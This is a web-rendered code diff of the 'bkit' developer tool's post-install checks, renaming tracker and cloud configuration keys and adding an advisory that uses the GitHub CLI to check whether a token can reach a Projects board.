" - An E2E job: enable the `bkit-stub:e2e` block (which already gates on `should_run_full`).\n" +
|
|
674
685
|
" - A smoke workflow: copy the `bkit-stub:smoke` block to `.github/workflows/smoke.yml`.\n\n" +
|
|
675
|
-
|
|
686
|
+
`If your consumer doesn't need run-level tiers (single-track CI, no preview deploys), dismiss by removing the \`Detect Direct Push\` step from ${ciRel}. Note this also disables \`[force cache]\` / \`[force build]\` / \`[force full]\` tag detection.`,
|
|
676
687
|
};
|
|
677
688
|
}
|
|
@@ -7,6 +7,7 @@ import { execFileSync } from "node:child_process";
|
|
|
7
7
|
import { MCP_TOOLSETS_HEADER, parseToolsets } from "../../install/write.js";
|
|
8
8
|
import { parseJson, readJsonFile } from "../../shared/json.js";
|
|
9
9
|
import { readBkitConfig } from "../../shared/settings.js";
|
|
10
|
+
import { isCloudOrCi } from "../before/env.js";
|
|
10
11
|
/**
|
|
11
12
|
* Detect whether branch protection is configured on `main`.
|
|
12
13
|
* Returns "present" | "missing" | "unknown".
|
|
@@ -64,7 +65,7 @@ export function detectActionsWritePermissions() {
|
|
|
64
65
|
*
|
|
65
66
|
* - `github` → GitHub tracker: the GitHub MCP server authenticates with `BKIT_GH_TOKEN`; `gh` uses `gh auth login`.
|
|
66
67
|
* - `linear` → existing Linear setup message (BKIT_LINEAR_API_KEY + LINEAR_ISSUE_ID).
|
|
67
|
-
* - `jira` → admin switch,
|
|
68
|
+
* - `jira` → admin switch, BKIT_JIRA_API_KEY and `bkit.tracker.jira` in package.json.
|
|
68
69
|
* - `none` → prompt to run `bkit install --tracker=github`, `--tracker=linear` or `--tracker=jira`.
|
|
69
70
|
*
|
|
70
71
|
* Only fires when bkit workflows are installed (.claude/ or .cursor/ present).
|
|
@@ -96,10 +97,10 @@ export function buildTrackerSetupAdvisory(cwd) {
|
|
|
96
97
|
id: "tracker-setup-jira",
|
|
97
98
|
severity: "advisory",
|
|
98
99
|
detect: "bkit tracker is configured as `jira`. Jira Cloud is the active tracker.",
|
|
99
|
-
action: 'Jira tracker: (1) an org admin turns on API-token sign-in for the Rovo MCP server (admin.atlassian.com → Rovo → Rovo MCP server → Authentication → "Allow API token authentication"); (2) create an API token with scopes for the app "Atlassian MCP V2" at https://id.atlassian.com/manage-profile/security/api-tokens and set it as `
|
|
100
|
+
action: 'Jira tracker: (1) an org admin turns on API-token sign-in for the Rovo MCP server (admin.atlassian.com → Rovo → Rovo MCP server → Authentication → "Allow API token authentication"); (2) create an API token with scopes for the app "Atlassian MCP V2" at https://id.atlassian.com/manage-profile/security/api-tokens and set it as `BKIT_JIRA_API_KEY` in `.bkit/.env`, then `direnv allow`; (3) set `bkit.tracker.jira.site` (e.g. `https://acme.atlassian.net`) and `bkit.tracker.jira.project` (the project key) in package.json. Full steps: `.bkit/trackers.md` § jira.',
|
|
100
101
|
};
|
|
101
102
|
}
|
|
102
|
-
// tracker === "none". Distinguish opt-out (explicit `bkit.
|
|
103
|
+
// tracker === "none". Distinguish opt-out (explicit `bkit.tracker.default: "none"`)
|
|
103
104
|
// from undecided (field absent). An explicit `none` silences the nudge, as with the
|
|
104
105
|
// dep-updater advisory.
|
|
105
106
|
if (issueTrackerExplicit)
|
|
@@ -107,12 +108,12 @@ export function buildTrackerSetupAdvisory(cwd) {
|
|
|
107
108
|
return {
|
|
108
109
|
id: "tracker-setup-none",
|
|
109
110
|
severity: "advisory",
|
|
110
|
-
detect: "bkit tracker is not configured (`bkit.
|
|
111
|
-
action: 'Optional post-install decision. Run `bkit install --tracker=github` (recommended), `--tracker=linear` or `--tracker=jira` to enable tracker integration. GitHub tracker requires `BKIT_GH_TOKEN` in `.bkit/.env` (fine-grained PAT for one owner, classic PAT across owners). Linear tracker requires `BKIT_LINEAR_API_KEY` in `.bkit/.env`. Jira tracker requires `
|
|
111
|
+
detect: "bkit tracker is not configured (`bkit.tracker.default` absent). Workflows run but every tracker call is a no-op.",
|
|
112
|
+
action: 'Optional post-install decision. Run `bkit install --tracker=github` (recommended), `--tracker=linear` or `--tracker=jira` to enable tracker integration. GitHub tracker requires `BKIT_GH_TOKEN` in `.bkit/.env` (fine-grained PAT for one owner, classic PAT across owners). Linear tracker requires `BKIT_LINEAR_API_KEY` in `.bkit/.env`. Jira tracker requires `BKIT_JIRA_API_KEY` in `.bkit/.env` and `bkit.tracker.jira` in package.json. To opt out and silence this advisory, set `bkit.tracker.default` to `"none"` in package.json.',
|
|
112
113
|
};
|
|
113
114
|
}
|
|
114
115
|
/**
|
|
115
|
-
* Classify the `bkit.github.project` board-sync config in package.json:
|
|
116
|
+
* Classify the `bkit.tracker.github.project` board-sync config in package.json:
|
|
116
117
|
* - "configured" → a Projects v2 board URL
|
|
117
118
|
* - "opted-out" → set to `false` ("no board sync" — stay quiet)
|
|
118
119
|
* - "invalid" → a string that is not a board URL
|
|
@@ -154,13 +155,13 @@ export function detectProjectsToolset(cwd) {
|
|
|
154
155
|
/**
|
|
155
156
|
* GitHub Projects v2 board-sync prerequisite advisory. Board status sync needs
|
|
156
157
|
* THREE things, none of which install seeds or verifies end-to-end:
|
|
157
|
-
* `bkit.github.project` (the board URL), the `projects` MCP toolset, and a PAT
|
|
158
|
+
* `bkit.tracker.github.project` (the board URL), the `projects` MCP toolset, and a PAT
|
|
158
159
|
* with Projects R/W. Absent any of the first two (the detectable ones), board
|
|
159
160
|
* sync silently no-ops — the URL alone is useless if the toolset lacks
|
|
160
161
|
* `projects`, and vice versa. Emits one advisory naming what's missing.
|
|
161
162
|
*
|
|
162
163
|
* Gates: workflows installed (.claude/ or .cursor/) AND tracker === "github".
|
|
163
|
-
* Stays quiet on explicit opt-out (`bkit.github.project: false`) or when both
|
|
164
|
+
* Stays quiet on explicit opt-out (`bkit.tracker.github.project: false`) or when both
|
|
164
165
|
* detectable prerequisites are satisfied (PAT scope can't be checked locally).
|
|
165
166
|
*/
|
|
166
167
|
export function buildGithubProjectAdvisory(cwd) {
|
|
@@ -180,9 +181,9 @@ export function buildGithubProjectAdvisory(cwd) {
|
|
|
180
181
|
return null;
|
|
181
182
|
const missing = [];
|
|
182
183
|
if (configState === "absent")
|
|
183
|
-
missing.push("`bkit.github.project` is absent
|
|
184
|
+
missing.push("`bkit.tracker.github.project` is empty or absent in package.json");
|
|
184
185
|
if (configState === "invalid")
|
|
185
|
-
missing.push("`bkit.github.project` is not a GitHub Projects board URL");
|
|
186
|
+
missing.push("`bkit.tracker.github.project` is not a GitHub Projects board URL");
|
|
186
187
|
if (toolset === "missing")
|
|
187
188
|
missing.push("the `projects` toolset is missing from `.mcp.json` `X-MCP-Toolsets`");
|
|
188
189
|
const missingPhrase = missing.length > 0 ? `: ${missing.join("; ")}` : "";
|
|
@@ -194,7 +195,9 @@ export function buildGithubProjectAdvisory(cwd) {
|
|
|
194
195
|
action: "Board status sync is optional (workflows never gate on it) but invisible when half-configured. All three prerequisites are required:\n\n" +
|
|
195
196
|
"1. Add the board's URL to package.json, as the browser shows it on the board (`/orgs/<org>/…` for an organization board, `/users/<login>/…` for a personal one; a trailing `/views/<n>` is fine):\n\n" +
|
|
196
197
|
' "bkit": {\n' +
|
|
197
|
-
' "
|
|
198
|
+
' "tracker": {\n' +
|
|
199
|
+
' "github": { "project": "https://github.com/orgs/<org>/projects/<number>" }\n' +
|
|
200
|
+
" }\n" +
|
|
198
201
|
" }\n\n" +
|
|
199
202
|
" Workflows set the board's Status field by option name: `In progress` when a phase starts, `In review` at hand-off. " +
|
|
200
203
|
'A board whose Status options are named differently sets `"progress"` and `"review"` beside `"project"` to its own names.\n\n' +
|
|
@@ -203,7 +206,78 @@ export function buildGithubProjectAdvisory(cwd) {
|
|
|
203
206
|
"3. The `BKIT_GH_TOKEN` PAT needs Projects read & write (repo scope is not enough): a fine-grained PAT gets it as an " +
|
|
204
207
|
"organization permission, so it reaches organization boards only; a classic PAT with the `project` scope reaches " +
|
|
205
208
|
"organization and personal boards.\n\n" +
|
|
206
|
-
"To opt out and silence this advisory, set `bkit.github.project` to `false` in package.json.",
|
|
209
|
+
"To opt out and silence this advisory, set `bkit.tracker.github.project` to `false` in package.json.",
|
|
210
|
+
};
|
|
211
|
+
}
|
|
212
|
+
/** `gh` run with the token the engine uses for tracker calls: BKIT_GH_TOKEN as GH_TOKEN when set. */
|
|
213
|
+
function ghAsEngine(args) {
|
|
214
|
+
const token = process.env.BKIT_GH_TOKEN;
|
|
215
|
+
return execFileSync("gh", args, {
|
|
216
|
+
encoding: "utf-8",
|
|
217
|
+
stdio: ["ignore", "pipe", "pipe"],
|
|
218
|
+
timeout: 5000,
|
|
219
|
+
env: token ? { ...process.env, GH_TOKEN: token } : process.env,
|
|
220
|
+
});
|
|
221
|
+
}
|
|
222
|
+
/**
|
|
223
|
+
* Whether the engine's token can move cards on the configured board: "present",
|
|
224
|
+
* "missing", or "unknown" (gh unavailable or unauthenticated). A classic token lists its
|
|
225
|
+
* scopes in `X-OAuth-Scopes` and needs `project`; a fine-grained token lists none, so the
|
|
226
|
+
* board itself is queried.
|
|
227
|
+
*/
|
|
228
|
+
export function detectProjectTokenScope(owner, number) {
|
|
229
|
+
let head;
|
|
230
|
+
try {
|
|
231
|
+
head = ghAsEngine(["api", "-i", "user"]).split(/\r?\n\r?\n/)[0] ?? "";
|
|
232
|
+
}
|
|
233
|
+
catch {
|
|
234
|
+
return "unknown";
|
|
235
|
+
}
|
|
236
|
+
const scopes = /^x-oauth-scopes:(.*)$/im.exec(head);
|
|
237
|
+
if (scopes) {
|
|
238
|
+
const list = scopes[1].split(",").map((x) => x.trim());
|
|
239
|
+
return list.includes("project") ? "present" : "missing";
|
|
240
|
+
}
|
|
241
|
+
const field = "projectV2(number: $n) { id }";
|
|
242
|
+
try {
|
|
243
|
+
const out = ghAsEngine([
|
|
244
|
+
"api",
|
|
245
|
+
"graphql",
|
|
246
|
+
"-f",
|
|
247
|
+
`query=query($login: String!, $n: Int!) { repositoryOwner(login: $login) { ... on User { ${field} } ... on Organization { ${field} } } }`,
|
|
248
|
+
"-f",
|
|
249
|
+
`login=${owner}`,
|
|
250
|
+
"-F",
|
|
251
|
+
`n=${number}`,
|
|
252
|
+
]);
|
|
253
|
+
const parsed = parseJson(out);
|
|
254
|
+
const data = (parsed.ok ? parsed.value : null);
|
|
255
|
+
return data?.data?.repositoryOwner?.projectV2?.id ? "present" : "missing";
|
|
256
|
+
}
|
|
257
|
+
catch {
|
|
258
|
+
return "missing";
|
|
259
|
+
}
|
|
260
|
+
}
|
|
261
|
+
/**
|
|
262
|
+
* The engine moves board cards with `BKIT_GH_TOKEN`; a token that cannot reach the board
|
|
263
|
+
* makes every move fall back to the MCP. Checked live, so it runs only when a board is
|
|
264
|
+
* configured, the tracker is GitHub, and not on cloud / CI (no interactive owner to fix it).
|
|
265
|
+
*/
|
|
266
|
+
export function buildGithubProjectTokenScopeAdvisory(cwd) {
|
|
267
|
+
const config = readBkitConfig(cwd);
|
|
268
|
+
const board = config.github.project;
|
|
269
|
+
if (config.issueTracker !== "github" || !board || isCloudOrCi())
|
|
270
|
+
return null;
|
|
271
|
+
if (detectProjectTokenScope(board.owner, board.number) !== "missing")
|
|
272
|
+
return null;
|
|
273
|
+
return {
|
|
274
|
+
id: "github-project-token-scope",
|
|
275
|
+
severity: "advisory",
|
|
276
|
+
detect: `The GitHub token cannot reach the board \`${config.github.projectUrl}\`: a classic token lacks the \`project\` scope, ` +
|
|
277
|
+
"or a fine-grained token's board query returned nothing. Board moves fall back to the MCP.",
|
|
278
|
+
action: "Give `BKIT_GH_TOKEN` Projects read & write: a classic PAT needs the `project` scope (reaches organization and personal boards); " +
|
|
279
|
+
"a fine-grained PAT needs the organization permission Projects: Read and write (organization boards only). " +
|
|
280
|
+
"Then re-run `bkit check`.",
|
|
207
281
|
};
|
|
208
282
|
}
|
|
209
283
|
/**
|
|
@@ -213,15 +287,15 @@ export function buildGithubProjectAdvisory(cwd) {
|
|
|
213
287
|
* consumers to make the choice post-install.
|
|
214
288
|
*
|
|
215
289
|
* Also performs the cloud=claude config-consistency assertion: when
|
|
216
|
-
* `bkit.
|
|
290
|
+
* `bkit.cloud.agent === "claude"` but the installed `bkit-cloud.yml` lacks
|
|
217
291
|
* `id-token: write`, it surfaces a consistency warning (exit-1 signal surfaced via
|
|
218
292
|
* the `blocker` severity in the checks/before/index.ts caller).
|
|
219
293
|
*
|
|
220
294
|
* Resolution order (file presence is authoritative, package.json field is the
|
|
221
295
|
* opt-out):
|
|
222
296
|
* - `.github/workflows/bkit-cloud.yml` present → `cloud-router` (informational; active)
|
|
223
|
-
* - `bkit.
|
|
224
|
-
* - `bkit.
|
|
297
|
+
* - `bkit.cloud.agent === "none"` → null (opt-out — stay quiet)
|
|
298
|
+
* - `bkit.tracker.default === "jira"` → null (Jira runs locally only)
|
|
225
299
|
* - otherwise (undecided) → `cloud-router-none` (nudge to choose)
|
|
226
300
|
*
|
|
227
301
|
* Only fires when there is a `.github/workflows/` dir (the router wakes on a CI
|
|
@@ -239,7 +313,7 @@ export function buildCloudSetupAdvisory(cwd) {
|
|
|
239
313
|
return {
|
|
240
314
|
id: "cloud-claude-missing-id-token",
|
|
241
315
|
severity: "blocker",
|
|
242
|
-
detect: "`bkit.
|
|
316
|
+
detect: "`bkit.cloud.agent` is `claude` but `.github/workflows/bkit-cloud.yml` lacks `id-token: write`. `claude-code-action@v1` will fail at boot with an OIDC error.",
|
|
243
317
|
action: "Re-run `pnpm bkit install --auto=claude --tracker=github` to regenerate the workflow with `id-token: write` and the App-auth framing. Also verify the Claude GitHub App is installed (`/install-github-app`). See bkit's `cloud.md` § Post-CI auto-routing.",
|
|
244
318
|
};
|
|
245
319
|
}
|
|
@@ -267,6 +341,6 @@ export function buildCloudSetupAdvisory(cwd) {
|
|
|
267
341
|
detect: "Cloud agents: post-CI auto-routing is not configured. `.github/workflows/` exists but no `bkit-cloud.yml` — CI pass/fail does not auto-dispatch bkit-ship / bkit-debug.",
|
|
268
342
|
action: "Optional post-install decision. For a GitHub-tracker repo: `pnpm bkit install --auto=claude --tracker=github`. For a Linear-tracker repo: `pnpm bkit install --auto=cursor --tracker=linear`.\n\n" +
|
|
269
343
|
"Prerequisites for `--auto=claude`: `ANTHROPIC_API_KEY` repo secret (or the `ANTHROPIC_FEDERATION_RULE_ID` + `ANTHROPIC_ORGANIZATION_ID` repo variables for keyless workload identity federation) + Claude GitHub App (`/install-github-app`) + GitHub Actions write permissions.\n\n" +
|
|
270
|
-
'To opt out and silence this advisory, set `bkit.
|
|
344
|
+
'To opt out and silence this advisory, set `bkit.cloud.agent` to `"none"` in package.json.',
|
|
271
345
|
};
|
|
272
346
|
}
|
|
@@ -10,7 +10,7 @@ import { readBkitConfig } from "../../shared/settings.js";
|
|
|
10
10
|
import { detectOpencodeYmlProviderDrift } from "../../install/modules/opencode.js";
|
|
11
11
|
import { detectManagedDuplicate, detectManagedStale } from "./managed.js";
|
|
12
12
|
import { buildCloudDashboardsAdvisory, detectCiRouterSecrets, detectGhMcpToken } from "./auth.js";
|
|
13
|
-
import { buildCloudSetupAdvisory, buildGithubProjectAdvisory, buildTrackerSetupAdvisory, detectActionsWritePermissions, detectMainBranchProtection, } from "./github.js";
|
|
13
|
+
import { buildCloudSetupAdvisory, buildGithubProjectAdvisory, buildGithubProjectTokenScopeAdvisory, buildTrackerSetupAdvisory, detectActionsWritePermissions, detectMainBranchProtection, } from "./github.js";
|
|
14
14
|
import { buildDepUpdaterSetupAdvisory, detectBkitStubs, detectValePackageNotSynced, detectWorkflowLintToolsMissing, } from "./tools.js";
|
|
15
15
|
import { detectBkitCloudYmlAlwaysTrueGate, detectCiYmlCapstoneContractDrift, detectCiYmlMissingActionlint, detectCiYmlRunInjection, detectGhaFloatingTags, detectRunLevelsNotComposed, detectTaggedTestsWithoutCiHome, detectTestIntegrationEnv, detectTurboIntegrationInputs, } from "./ci-yml.js";
|
|
16
16
|
import { dropTipSilencedAdvisories, setupTipsChecklistLines, setupTipsMarkdownLines, } from "../tips/index.js";
|
|
@@ -43,7 +43,7 @@ export function suppressedNoteLines(suppressed) {
|
|
|
43
43
|
return [];
|
|
44
44
|
const n = suppressed.length;
|
|
45
45
|
return [
|
|
46
|
-
`${n} advisor${n === 1 ? "y" : "ies"} suppressed by bkit.
|
|
46
|
+
`${n} advisor${n === 1 ? "y" : "ies"} suppressed by bkit.advisories.ignore:`,
|
|
47
47
|
...suppressed.map((note) => `- ${note.id} (${note.scope})`),
|
|
48
48
|
];
|
|
49
49
|
}
|
|
@@ -243,7 +243,7 @@ export function readChangelogVersionDelta(version) {
|
|
|
243
243
|
* cwd defaults to process.cwd().
|
|
244
244
|
*
|
|
245
245
|
* Pass `suppressed` to collect the advisories a package opted out of via
|
|
246
|
-
* `bkit.
|
|
246
|
+
* `bkit.advisories.ignore` (one note per id + owning package); the caller renders them with
|
|
247
247
|
* `suppressedNoteLines` so a dismissal stays visible. Omitted by callers that do not render.
|
|
248
248
|
*/
|
|
249
249
|
export function runPostInstallCheck(preflightAdvisories, cwd = process.cwd(), suppressed) {
|
|
@@ -265,11 +265,11 @@ export function runPostInstallCheck(preflightAdvisories, cwd = process.cwd(), su
|
|
|
265
265
|
const ghMcpToken = detectGhMcpToken(cwd);
|
|
266
266
|
if (ghMcpToken)
|
|
267
267
|
phase3.push(ghMcpToken);
|
|
268
|
-
// Main branch protection — bkit's PR-base gates (build Step
|
|
268
|
+
// Main branch protection — bkit's PR-base gates (build Step 14, ship Step 2)
|
|
269
269
|
// assert feat/* PRs target dev. Enforcing it at the GitHub layer needs branch
|
|
270
270
|
// protection on main restricting merges to PRs from dev.
|
|
271
271
|
const protectionStatus = detectMainBranchProtection();
|
|
272
|
-
const scriptHint = "\n\nQuick path: run `bkit setup protect-main --dry-run` to preview the policy, then drop `--dry-run` to apply. It requires the CI capstone job named by `package.json` `bkit.
|
|
272
|
+
const scriptHint = "\n\nQuick path: run `bkit setup protect-main --dry-run` to preview the policy, then drop `--dry-run` to apply. It requires the CI capstone job named by `package.json` `bkit.testing.ciCapstone` (default `bkit-tests-check`, so the required check means 'validated', not just 'tests job did not fail') and pre-flights that the job exists in the `bkit.testing.ciWorkflow` file before requiring it.";
|
|
273
273
|
if (protectionStatus === "missing") {
|
|
274
274
|
phase3.push({
|
|
275
275
|
id: "main-branch-protection-missing",
|
|
@@ -278,7 +278,7 @@ export function runPostInstallCheck(preflightAdvisories, cwd = process.cwd(), su
|
|
|
278
278
|
action: "main only ever moves via a release PR (release/* -> main); bkit's build/ship workflows keep all feat/* PRs on dev. Gate main at the GitHub layer:\n\n" +
|
|
279
279
|
" Settings → Branches → Add rule → Branch name pattern: main\n" +
|
|
280
280
|
" - Require a pull request before merging\n" +
|
|
281
|
-
|
|
281
|
+
` - Require status checks: ${readBkitConfig(cwd).capstoneJob} (the always-on capstone — required-check green then means 'the planned tiers ran', not just 'nothing failed'; do NOT require bkit-tests-scope, it is always green)\n` +
|
|
282
282
|
" - Do not allow bypassing the above settings (enforce for admins)\n" +
|
|
283
283
|
" - Require linear history; block force-pushes and deletions\n\n" +
|
|
284
284
|
"enforce-for-admins is load-bearing: agents act with the owner's admin token, so an admin-bypass exemption means the agent is the bypass. Covering admins is the only way protection actually constrains agents. dev is intentionally left unprotected — operators choose direct-push or feat/PR and own that tests ran." +
|
|
@@ -286,7 +286,7 @@ export function runPostInstallCheck(preflightAdvisories, cwd = process.cwd(), su
|
|
|
286
286
|
});
|
|
287
287
|
}
|
|
288
288
|
// Optional post-install decisions (opt-in add-ons):
|
|
289
|
-
// 1. Issue tracker — branch on bkit.
|
|
289
|
+
// 1. Issue tracker — branch on bkit.tracker.default.
|
|
290
290
|
// 2. Dependency updater — read-only. Suggests an example template. Never writes config.
|
|
291
291
|
// 3. Cloud agents — branch on bkit-cloud.yml presence.
|
|
292
292
|
const trackerSetup = buildTrackerSetupAdvisory(cwd);
|
|
@@ -297,6 +297,9 @@ export function runPostInstallCheck(preflightAdvisories, cwd = process.cwd(), su
|
|
|
297
297
|
const githubProjectSetup = buildGithubProjectAdvisory(cwd);
|
|
298
298
|
if (githubProjectSetup)
|
|
299
299
|
phase3.push(githubProjectSetup);
|
|
300
|
+
const githubProjectToken = buildGithubProjectTokenScopeAdvisory(cwd);
|
|
301
|
+
if (githubProjectToken)
|
|
302
|
+
phase3.push(githubProjectToken);
|
|
300
303
|
const depUpdaterSetup = buildDepUpdaterSetupAdvisory(cwd);
|
|
301
304
|
if (depUpdaterSetup)
|
|
302
305
|
phase3.push(depUpdaterSetup);
|
|
@@ -406,6 +409,6 @@ export function runPostInstallCheck(preflightAdvisories, cwd = process.cwd(), su
|
|
|
406
409
|
const phase3Ids = new Set(deduped.map((f) => f.id));
|
|
407
410
|
const filteredPreflight = dedupedPreflight.filter((f) => !phase3Ids.has(f.id));
|
|
408
411
|
// Final order: preflight advisories (that weren't superseded) first, then Phase 3.
|
|
409
|
-
// An advisory a setup tip reuses goes quiet with that tip (`bkit.
|
|
412
|
+
// An advisory a setup tip reuses goes quiet with that tip (`bkit.advisories.ignore`).
|
|
410
413
|
return dropTipSilencedAdvisories([...filteredPreflight, ...deduped], cwd, onSuppressed);
|
|
411
414
|
}
|
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
// checks/after/suppression.ts — per-package advisory opt-out (`package.json`
|
|
2
|
-
// `bkit.
|
|
2
|
+
// `bkit.advisories.ignore`).
|
|
3
3
|
//
|
|
4
4
|
// A detector can be right in general and still fire on a package where the condition is
|
|
5
5
|
// deliberately not applicable (a rule-linter whose test titles mention `@live`, an
|
|
@@ -12,9 +12,9 @@
|
|
|
12
12
|
// suppressible whatever the manifest says.
|
|
13
13
|
import { readPackageJson } from "../../shared/package-json.js";
|
|
14
14
|
/**
|
|
15
|
-
* Advisory ids `dir/package.json` opts out of. A missing manifest, a `bkit`
|
|
16
|
-
* absent or not an object, and an `
|
|
17
|
-
* yield no ids — never a throw.
|
|
15
|
+
* Advisory ids `dir/package.json` opts out of. A missing manifest, a `bkit` or
|
|
16
|
+
* `bkit.advisories` key that is absent or not an object, and an `advisories.ignore` that is
|
|
17
|
+
* absent or not an array all yield no ids — never a throw.
|
|
18
18
|
*/
|
|
19
19
|
export function ignoredAdvisoryIds(dir) {
|
|
20
20
|
const read = readPackageJson(dir);
|
|
@@ -23,7 +23,10 @@ export function ignoredAdvisoryIds(dir) {
|
|
|
23
23
|
const bkit = read.pkg.bkit;
|
|
24
24
|
if (typeof bkit !== "object" || bkit === null || Array.isArray(bkit))
|
|
25
25
|
return new Set();
|
|
26
|
-
const
|
|
26
|
+
const advisories = bkit.advisories;
|
|
27
|
+
if (typeof advisories !== "object" || advisories === null || Array.isArray(advisories))
|
|
28
|
+
return new Set();
|
|
29
|
+
const list = advisories.ignore;
|
|
27
30
|
if (!Array.isArray(list))
|
|
28
31
|
return new Set();
|
|
29
32
|
return new Set(list.filter((id) => typeof id === "string"));
|